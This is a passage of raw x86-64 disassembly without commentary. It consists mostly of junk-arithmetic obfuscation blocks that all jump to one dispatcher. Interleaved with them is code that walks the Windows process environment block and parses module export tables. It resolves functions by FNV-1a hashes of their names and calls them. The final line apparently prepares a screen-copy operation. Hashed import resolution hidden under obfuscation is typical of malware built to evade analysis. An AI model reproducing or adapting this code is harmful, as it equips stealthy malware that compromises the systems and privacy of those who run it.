add eax, 0xe2796954
xor eax, 0x93dd64ad
rol eax, 0x31
popf
pushf
not eax
add eax, 0xdd1382fc
xor eax, 0xa194bb6a
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x93f0ae67
xor eax, 0xf3624fd3
rol eax, 0x41
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5bdd2bad
pushf
not eax
add eax, 0x80d9527e
xor eax, 0xb859578a
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe4972727
xor eax, 0x8d842a51
rol eax, 0x84
popf
pushf
not eax
add eax, 0xcce1be9a
xor eax, 0x9e249576
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xd39d3f29
xor eax, 0xf9dbbdac
rol eax, 0x5f
popf
jmp 0x14044405f
test r9d, r9d
jne 0x1404457a8
push rax
pushf
mov eax, 0x2c8a9bae
pushf
not eax
add eax, 0xa3078e18
xor eax, 0x8a0bb53d
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa32d7d8f
xor eax, 0xcdef8fbd
rol eax, 0xf4
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x8634cc96
pushf
not eax
add eax, 0xa7f77bc2
xor eax, 0xb44eecaf
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe3ef2667
xor eax, 0x8a5a1d27
rol eax, 0x21
popf
pushf
not eax
add eax, 0xedac6b13
xor eax, 0x8402850f
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xc7da7879
xor eax, 0xd996e216
rol eax, 0x44
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140445382
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
push r10
not r10
sub r8, r10
pop r10
sub r8, 1
mov edx, 0x47625eda
pushf
not edx
add edx, 0xae4f1b7c
xor edx, 0x8073da13
rol edx, 0x3a
popf
pushf
not edx
add edx, 0xce55bffe
xor edx, 0xf1973239
rol edx, 0x43
popf
pushf
not edx
add edx, 0x815f8f21
xor edx, 0xeffc0c49
rol edx, 0x28
popf
mov rcx, r14
call r8
mov dword [r12], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xf4b7f66d
pushf
not eax
add eax, 0xdd00057b
xor eax, 0xaf63e498
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xbaf3b5bc
xor eax, 0xcf169b9c
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xa818e78b
xor eax, 0xb270af0f
rol eax, 0x71
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140445990
push rax
pushf
mov eax, 0xb3902070
pushf
not eax
add eax, 0xbc785f40
xor eax, 0xe4b666c9
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9732f5b6
xor eax, 0xd60e81ca
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xf2a789a8
xor eax, 0xbac9860a
rol eax, 0x8b
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x3dddf259
pushf
not eax
add eax, 0xadd17b91
xor eax, 0x93f7555f
rol eax, 0x83
popf
pushf
not eax
add eax, 0x90e9e140
xor eax, 0xb0c261f8
rol eax, 0xd6
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1404459ff
push rax
pushf
mov eax, 0xe060946d
pushf
not eax
add eax, 0x99cc08a1
xor eax, 0xc00e567b
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb15dc88c
xor eax, 0x8cc6b239
rol eax, 0xd1
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x11dd7f3c
pushf
not eax
add eax, 0xaae6ca71
xor eax, 0x9473ef1d
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa5d12ad5
xor eax, 0x859da322
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf197cc84
xor eax, 0xa61bca4a
rol eax, 0x26
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x47abec1f
pushf
not eax
add eax, 0x8b80c956
xor eax, 0x9fd4da10
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf532efea
xor eax, 0xc9ac2ad3
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xf1097cd6
xor eax, 0xdd15cb6c
rol eax, 0xef
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0xa7a7699b
pushf
not r8d
add r8d, 0xd98d8d82
xor r8d, 0x9fd81ed4
rol r8d, 0x6f
popf
pushf
not r8d
add r8d, 0xedc26cc1
xor r8d, 0x86095e1e
rol r8d, 0x78
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140445b4e
push rax
pushf
mov eax, 0x700ad00f
pushf
not eax
add eax, 0x864470f1
xor eax, 0xfa1d0122
rol eax, 8
popf
pushf
not eax
add eax, 0xa0b82bd0
xor eax, 0xe23e4217
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xc8388a4a
xor eax, 0xea365889
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc7851e97
xor eax, 0x922b1f4e
rol eax, 0x8a
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xb329d05f
pushf
not eax
add eax, 0xc0090db9
xor eax, 0xd34bea06
rol eax, 0x50
popf
pushf
not eax
add eax, 0xbf02e29e
xor eax, 0xe7850309
rol eax, 0x70
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x595ea4f2
pushf
not eax
add eax, 0xa0f529d4
xor eax, 0xdf6e1ec0
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xbee9972f
xor eax, 0x9d541e94
rol eax, 0xb3
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140445c27
push rax
pushf
mov eax, 0x81faf909
pushf
not eax
add eax, 0x985bef63
xor eax, 0xdafb9342
rol eax, 0xc
popf
pushf
not eax
add eax, 0xfaa0ea12
xor eax, 0xe0f0806b
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xa28db4a3
xor eax, 0xa1a1f30b
rol eax, 0x27
popf
pushf
not eax
add eax, 0xceb9678b
xor eax, 0x8c070988
rol eax, 0x78
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc4ac7227
pushf
not eax
add eax, 0x9eafaa8b
xor eax, 0xe73c7e43
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xdfef8d60
xor eax, 0xe2865a07
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xfe893bc6
xor eax, 0xedcb61ac
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xf9674aad
xor eax, 0xd30eafd4
rol eax, 0xb7
popf
jmp 0x14044405f
cmp r8d, 0xe629042e
je 0x140445cbc
push rax
pushf
mov eax, 0x13f19557
pushf
not eax
add eax, 0xcf560e3d
xor eax, 0xfb1bebe8
rol eax, 0x80
popf
pushf
not eax
add eax, 0xf44e8339
xor eax, 0xb3cef038
rol eax, 0xc1
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x4ba5406c
pushf
not eax
add eax, 0xe3bec192
xor eax, 0xf6ab930a
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xa678b0a4
xor eax, 0xbcccfac3
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xd2e39572
xor eax, 0x95946ffc
rol eax, 0x18
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140445d4d
push rax
pushf
mov eax, 0xae249c20
pushf
not eax
add eax, 0xb232eeb7
xor eax, 0x9698535e
rol eax, 0xb
popf
pushf
not eax
add eax, 0x872621c2
xor eax, 0xb2e6eafe
rol eax, 0x48
popf
pushf
not eax
add eax, 0x90f72442
xor eax, 0x8c3f50dc
rol eax, 0xa9
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x9d58efde
pushf
not eax
add eax, 0xd6f9c71a
xor eax, 0x99c246e0
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xab10d63a
xor eax, 0xa428b9b9
rol eax, 0x96
popf
pushf
not eax
add eax, 0xfd9932a6
xor eax, 0xeab308a1
rol eax, 0x82
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140445927
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
push r10
not r10
sub r8, r10
pop r10
sub r8, 1
mov edx, 0xce156aba
pushf
not edx
add edx, 0xf60fecfd
xor edx, 0xa3e14a8a
rol edx, 0x1e
popf
pushf
not edx
add edx, 0xfc8499fb
xor edx, 0xf37da7c8
rol edx, 0xe6
popf
mov rcx, r14
call r8
mov esi, eax
mov dword [r13], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
push rax
pushf
mov eax, 0x4c8e0eed
pushf
not eax
add eax, 0xbfafbaa5
xor eax, 0x89f8edfe
rol eax, 0x33
popf
pushf
not eax
add eax, 0xcddca06c
xor eax, 0x8f0cc9a1
rol eax, 0x29
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140445f20
push rax
pushf
mov eax, 0x437b61c1
pushf
not eax
add eax, 0xb59ef7ff
xor eax, 0x8156b5cb
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb3753b41
xor eax, 0xbd88acec
rol eax, 0x49
popf
pushf
not eax
add eax, 0xae942e0b
xor eax, 0xa9d4ae78
rol eax, 0x1d
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdcbe0a16
pushf
not eax
add eax, 0xb7aa01af
xor eax, 0xbb966c5d
rol eax, 0
popf
pushf
not eax
add eax, 0xe3f7fe5b
xor eax, 0x865d48c5
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe5f5b377
xor eax, 0xe5b35851
rol eax, 0xf9
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140445fa2
push rax
pushf
mov eax, 0xfcd4af40
pushf
not eax
add eax, 0xc562b885
xor eax, 0xbbc9099f
rol eax, 0x34
popf
pushf
not eax
add eax, 0xe36c05a8
xor eax, 0xd5b4d457
rol eax, 0x7b
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdc1584c2
pushf
not eax
add eax, 0x91cd550a
xor eax, 0xeebfbfd5
rol eax, 0xb
popf
pushf
not eax
add eax, 0xcb1ea5d1
xor eax, 0x917285a3
rol eax, 0x77
popf
pushf
not eax
add eax, 0x9d49faba
xor eax, 0xefbe920c
rol eax, 0x1f
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xac942fc5
pushf
not eax
add eax, 0xcdfe5236
xor eax, 0xc0a331e4
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xe8401461
xor eax, 0xd4ab3057
rol eax, 0xfc
popf
jmp 0x14044405f
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x1ee87a98
pushf
not r8d
add r8d, 0xdac2895e
xor r8d, 0xef7e0404
rol r8d, 0x11
popf
pushf
not r8d
add r8d, 0xddb87d3b
xor r8d, 0xd8218bbc
rol r8d, 0x4f
popf
pushf
not r8d
add r8d, 0xf6ac842e
xor r8d, 0xcb076233
rol r8d, 0xa5
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1404460d0
push rax
pushf
mov eax, 0x8129fa62
pushf
not eax
add eax, 0xb80fd8bb
xor eax, 0xb0675918
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xc1512888
xor eax, 0x901d144d
rol eax, 8
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xf2e56d7c
pushf
not eax
add eax, 0x9d68f8c8
xor eax, 0xc37c4180
rol eax, 0x81
popf
pushf
not eax
add eax, 0x8a771b0f
xor eax, 0xa447b7e6
rol eax, 7
popf
pushf
not eax
add eax, 0xbe7adb04
xor eax, 0xa6618be2
rol eax, 0x41
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1404461aa
push rax
pushf
mov eax, 0x6fdcd104
pushf
not eax
add eax, 0xc699caa2
xor eax, 0xdad474b1
rol eax, 0xca
popf
pushf
not eax
add eax, 0x8f7c6447
xor eax, 0xed19b215
rol eax, 0xaf
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5091b880
pushf
not eax
add eax, 0xeb8f1d70
xor eax, 0x86c32746
rol eax, 0x81
popf
pushf
not eax
add eax, 0x92b8af98
xor eax, 0xc23d4d21
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb01b653d
xor eax, 0xe815cfaa
rol eax, 0x46
popf
jmp 0x14044405f
cmp r8d, 0xade549a1
je 0x14044622c
push rax
pushf
mov eax, 0xe6a71380
pushf
not eax
add eax, 0x955f4270
xor eax, 0xff04428f
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xf4f2a11c
xor eax, 0xd9da8caf
rol eax, 0x44
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc1993f7c
pushf
not eax
add eax, 0xaa8d58e8
xor eax, 0xec37ab31
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x8b2eb812
xor eax, 0x866b057f
rol eax, 0x9e
popf
jmp 0x14044405f
test r9d, r9d
jne 0x1404462aa
push rax
pushf
mov eax, 0x6da386ce
pushf
not eax
add eax, 0xaa2d061f
xor eax, 0xad8a86af
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa5b84e02
xor eax, 0xb0a370cb
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xa5bb49c9
xor eax, 0xdd363dfb
rol eax, 6
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x466b7dda
pushf
not eax
add eax, 0xab519b52
xor eax, 0x84b583e6
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xbf3c0792
xor eax, 0xbd84db27
rol eax, 0xee
popf
pushf
not eax
add eax, 0x8a9c47a5
xor eax, 0xf2a01515
rol eax, 0x6e
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140445eb7
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
push r10
not r10
sub r9, r10
pop r10
sub r9, 1
mov r8d, esi
mov edx, dword [r12]
mov rcx, r14
call r9
mov r14, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2b2ca14f
pushf
not eax
add eax, 0x9ac4c0af
xor eax, 0x8601e7de
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd5825039
xor eax, 0x88d2e002
rol eax, 0x29
popf
pushf
not eax
add eax, 0xdd78b0b7
xor eax, 0xab1eba1b
rol eax, 0xeb
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140446453
push rax
pushf
mov eax, 0x9208db39
pushf
not eax
add eax, 0x87b776da
xor eax, 0xcda34031
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xe88b2e50
xor eax, 0x9f8e1cd2
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xefc698d0
xor eax, 0xa5d5c75d
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xedd2f8ca
xor eax, 0xdf78da48
rol eax, 0xf6
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xa48d7919
pushf
not eax
add eax, 0xb03c2766
xor eax, 0xde53686a
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe544554a
xor eax, 0xbe6e5943
rol eax, 0x1a
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1404464d5
push rax
pushf
mov eax, 0x570dcfd
pushf
not eax
add eax, 0xf04848bf
xor eax, 0x9b5d0117
rol eax, 0x23
popf
pushf
not eax
add eax, 0xaec1fb6f
xor eax, 0xf620e18a
rol eax, 0
popf
pushf
not eax
add eax, 0xaebf279f
xor eax, 0xdaa4e26d
rol eax, 0xae
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x768ce6c6
pushf
not eax
add eax, 0xe3663638
xor eax, 0xb3dfc228
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x9387cb7d
xor eax, 0xbede97dc
rol eax, 2
popf
pushf
not eax
add eax, 0xe3079825
xor eax, 0xf9c39a2b
rol eax, 0xfa
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x1348aedf
pushf
not eax
add eax, 0x8fa6bb0f
xor eax, 0xcb24296e
rol eax, 4
popf
pushf
not eax
add eax, 0xc1854cff
xor eax, 0xc9e2f8ee
rol eax, 0x22
popf
jmp 0x14044405f
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x6af79fe9
pushf
not r8d
add r8d, 0xb3560db7
xor r8d, 0xcdb645be
rol r8d, 0x16
popf
pushf
not r8d
add r8d, 0x9144b02a
xor r8d, 0xdca957d5
rol r8d, 0x75
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140446610
push rax
pushf
mov eax, 0x6c9043f7
pushf
not eax
add eax, 0xc35bb7a0
xor eax, 0xeecfa81e
rol eax, 5
popf
pushf
not eax
add eax, 0x9c857cde
xor eax, 0x891e62ce
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd7bebd3a
xor eax, 0xccc9a7db
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8b5a60ab
xor eax, 0xc969c5ad
rol eax, 0x72
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x80bc8345
pushf
not eax
add eax, 0x98958c7c
xor eax, 0x99c122ef
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x9662979b
xor eax, 0xaf3d07b3
rol eax, 0xee
popf
pushf
not eax
add eax, 0xe8dd50e8
xor eax, 0xccaa283f
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc31f2afe
xor eax, 0xc8dc5986
rol eax, 0x3d
popf
jmp 0x14044405f
nop dword [rax]
push rax
pushf
mov eax, 0x3401f577
pushf
not eax
add eax, 0x9fd52e7d
xor eax, 0xee7fe887
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf523a9dc
xor eax, 0x817fab3c
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xdd8636aa
xor eax, 0xc01abc0f
rol eax, 7
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140446710
push rax
pushf
mov eax, 0x986147f7
pushf
not eax
add eax, 0xb4442642
xor eax, 0x81d2dac4
rol eax, 0x16
popf
pushf
not eax
add eax, 0x924010df
xor eax, 0xdc081eab
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x97b414aa
xor eax, 0xc3ff481d
rol eax, 0x55
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc80c9fad
pushf
not eax
add eax, 0xfcc34a85
xor eax, 0xdbfbf051
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb8d543b7
xor eax, 0xe6bb7120
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x96428b07
xor eax, 0xe5fdfc82
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc88957be
xor eax, 0xb2f7e669
rol eax, 0x1e
popf
jmp 0x14044405f
cmp r8d, 0xc36f7b43
je 0x1404467a5
push rax
pushf
mov eax, 0xc8a831af
pushf
not eax
add eax, 0xaa699d9d
xor eax, 0xf25ecab5
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf27a743b
xor eax, 0xde86493b
rol eax, 0x44
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xb9727972
pushf
not eax
add eax, 0x9bb53b7b
xor eax, 0xd2bbe667
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xd5914487
xor eax, 0xe8222f1f
rol eax, 0x73
popf
pushf
not eax
add eax, 0xffa92184
xor eax, 0xcde71c31
rol eax, 0x13
popf
pushf
not eax
add eax, 0xfffb8b83
xor eax, 0xe652ae4b
rol eax, 0xba
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140446836
push rax
pushf
mov eax, 0xadfe6e5f
pushf
not eax
add eax, 0xf16174f4
xor eax, 0x9e3152d0
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd05d890b
xor eax, 0x85d75d60
rol eax, 0xf4
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x2fad2c03
pushf
not eax
add eax, 0xce5b23e5
xor eax, 0xa1848ee0
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x874ecc74
xor eax, 0x8e030406
rol eax, 0x5f
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x1404463d7
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
push r10
not r10
sub r8, r10
pop r10
sub r8, 1
mov rdx, r14
mov rcx, rbp
call r8
mov rbp, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
push rax
pushf
mov eax, 0x4b93cb9a
pushf
not eax
add eax, 0x937a7d67
xor eax, 0xe28f368c
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc3dc5284
xor eax, 0xe4a9e62a
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xa83257c0
xor eax, 0xb6b3e786
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9d3acac5
xor eax, 0xc95db413
rol eax, 0x57
popf
jmp 0x14044405f
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x1404469e2
push rax
pushf
mov eax, 0x50f6576b
pushf
not eax
add eax, 0x8a2e9864
xor eax, 0xfd866819
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xad4c75ce
xor eax, 0xb39b8912
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xc4f0d1e1
xor eax, 0xe777daab
rol eax, 0x60
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x4904fa29
pushf
not eax
add eax, 0x9008ca61
xor eax, 0xe97d4f00
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xe0208b86
xor eax, 0x978491c9
rol eax, 0x79
popf
pushf
not eax
add eax, 0xef365684
xor eax, 0xec58fa2e
rol eax, 0x26
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140446a64
push rax
pushf
mov eax, 0x49afa4d4
pushf
not eax
add eax, 0xb70a8ce2
xor eax, 0xcd2d87e0
rol eax, 0x36
popf
pushf
not eax
add eax, 0xfab47024
xor eax, 0xfcbc5248
rol eax, 0xac
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc1bbe077
pushf
not eax
add eax, 0xd155b63f
xor eax, 0xbea3ca8e
rol eax, 0x94
popf
pushf
not eax
add eax, 0xa6399db3
xor eax, 0x93015d3a
rol eax, 0xec
popf
pushf
not eax
add eax, 0xfe657571
xor eax, 0xa9ccc6e6
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x935a987b
xor eax, 0xc284ed78
rol eax, 0x36
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xded3f01c
pushf
not eax
add eax, 0x8f8d22e8
xor eax, 0xdf34b315
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xc6f5ef04
xor eax, 0xef0ebdf4
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xfd70456e
xor eax, 0xc7e5b2ed
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x9ec8356b
xor eax, 0xd9132d2b
rol eax, 0xed
popf
jmp 0x14044405f
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov r8d, 0xd1016aa
pushf
not r8d
add r8d, 0xc5c1d32f
xor r8d, 0xcc10c5eb
rol r8d, 0x42
popf
pushf
not r8d
add r8d, 0x8da67b0c
xor r8d, 0xc669da43
rol r8d, 0xe0
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140446bb2
push rax
pushf
mov eax, 0x711cf14b
pushf
not eax
add eax, 0xc084e3b0
xor eax, 0xcf5ca470
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xf993b246
xor eax, 0xd7b901a9
rol eax, 0xc3
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x75567112
pushf
not eax
add eax, 0xbc6f7f9d
xor eax, 0xc9bfa823
rol eax, 0x55
popf
pushf
not eax
add eax, 0xb6eed700
xor eax, 0xe1bd0aab
rol eax, 0xfb
popf
jmp 0x14044405f
nop dword [rax]
push rax
pushf
mov eax, 0x41b0273
pushf
not eax
add eax, 0xd0e34b14
xor eax, 0xe131ba97
rol eax, 0x44
popf
pushf
not eax
add eax, 0xcf048d5e
xor eax, 0xef75e9eb
rol eax, 0xf2
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140446c79
push rax
pushf
mov eax, 0x785016ad
pushf
not eax
add eax, 0xcc9ab21e
xor eax, 0x860f0b1a
rol eax, 2
popf
pushf
not eax
add eax, 0x90ec15be
xor eax, 0xddfd871f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x95edb027
xor eax, 0xf43a6b0c
rol eax, 0x22
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xa5c24534
pushf
not eax
add eax, 0xbbea642b
xor eax, 0x93aed912
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9a8a49b3
xor eax, 0xa9ab6f52
rol eax, 0
popf
pushf
not eax
add eax, 0x8a2750d9
xor eax, 0x93045323
rol eax, 0x87
popf
pushf
not eax
add eax, 0xda2cfbf7
xor eax, 0xa695d9b5
rol eax, 0xb
popf
jmp 0x14044405f
cmp r8d, 0xbefb42f6
je 0x140446d0e
push rax
pushf
mov eax, 0xc5d71122
pushf
not eax
add eax, 0xc19df886
xor eax, 0x952ed023
rol eax, 0xd
popf
pushf
not eax
add eax, 0xcac4adeb
xor eax, 0xc1fca00d
rol eax, 0x8d
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xbdc92952
pushf
not eax
add eax, 0x9d12fb52
xor eax, 0xd15a9564
rol eax, 0x30
popf
pushf
not eax
add eax, 0xfddd51d3
xor eax, 0xf986db91
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x87951dc9
xor eax, 0x848a7d0f
rol eax, 0x33
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140446db2
push rax
pushf
mov eax, 0xdda6a246
pushf
not eax
add eax, 0x924b634d
xor eax, 0x913ebd85
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xbd1cbff5
xor eax, 0x91624d99
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xb3084f52
xor eax, 0x9e36cd3a
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xb0624a20
xor eax, 0xc89bcb80
rol eax, 0xd8
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5bae5542
pushf
not eax
add eax, 0xae46fd24
xor eax, 0xfd56220a
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x9e99b3ea
xor eax, 0xa82b71cf
rol eax, 0x87
popf
pushf
not eax
add eax, 0xb3fb40f9
xor eax, 0xcd35d297
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9106e17d
xor eax, 0xf73d3629
rol eax, 0x63
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140446979
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
push r11
not r11
sub r10, r11
pop r11
sub r10, 1
mov eax, dword [r13]
mov dword [rsp + 0x40], 0xcc0020
